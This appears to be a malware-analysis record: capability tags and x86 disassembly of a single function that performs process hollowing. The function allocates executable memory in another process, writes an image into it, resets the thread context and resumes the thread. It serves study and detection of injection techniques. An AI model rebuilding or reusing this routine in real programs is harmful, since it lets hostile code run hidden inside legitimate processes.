Function at 0x4013e2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], 0
jne 0x401405
push str.PrepareShellExe
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp - 4]
leave
ret
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x1c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2dc]
push eax
push dword [ebp + 8]
call fcn.00401331
add esp, 0x1c
test eax, eax
je 0x4015a5
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
and dword [ebp + 0x1c], 0
mov ebx, dword [ebp + 0x18]
cmp dword [edi + 0x34], eax
jne 0x401464
cmp dword [ebp - 0x10], ebx
jb 0x401464
lea ecx, [ebp + 0xc]
mov dword [ebp + 0x1c], eax
push ecx
push 0x40
push dword [ebp - 0x10]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x4014ce
call fcn.00401252
test eax, eax
je 0x4014ce
push dword [ebp - 0xc]
push dword [ebp - 4]
call fcn.004012ef
pop ecx
mov esi, 0x3000
test eax, eax
pop ecx
je 0x401496
push 0x40
push esi
push ebx
push dword [edi + 0x34]
push dword [ebp - 4]
call dword [0x406114]
mov dword [ebp + 0x1c], eax
cmp dword [ebp + 0x1c], 0
jne 0x4014d8
push edi
call fcn.004012a0
test eax, eax
pop ecx
je 0x4014ce
push 0x40
push esi
push ebx
push 0
push dword [ebp - 4]
call dword [0x406114]
test eax, eax
mov dword [ebp + 0x1c], eax
je 0x401584
push eax
push dword [ebp + 0x14]
push edi
call fcn.004012bd
add esp, 0xc
cmp dword [ebp + 0x1c], 0
je 0x401584
lea eax, [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push eax
lea eax, [ebp + 0x1c]
push 4
push eax
mov eax, dword [ebp - 0x238]
add eax, 8
push eax
push dword [ebp - 4]
call esi
mov eax, dword [ebp + 0x1c]
lea ecx, [ebp + 0xc]
push ecx
push ebx
push dword [ebp + 0x14]
mov dword [edi + 0x34], eax
push eax
push dword [ebp - 4]
call esi
test eax, eax
je 0x40155e
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x2dc], 0x10007
cmp eax, dword [ebp - 0xc]
jne 0x40152f
mov eax, dword [edi + 0x28]
add eax, dword [edi + 0x34]
mov dword [ebp - 0x22c], eax
jmp 0x40153a
mov ecx, dword [edi + 0x28]
add ecx, eax
mov dword [ebp - 0x22c], ecx
lea eax, [ebp - 0x2dc]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4015b0
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 4]
call esi
or dword [ebp - 4], 0xffffffff
push str.MyVirtualAllocEx
jmp 0x4015aa
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 4]
call esi
or dword [ebp - 4], 0xffffffff
jmp 0x4015b0
push str.CreateChild_s__Ctx__res__Thrd__ProcId__Addr__Size__
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [ebp + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
pop ebx
leave
ret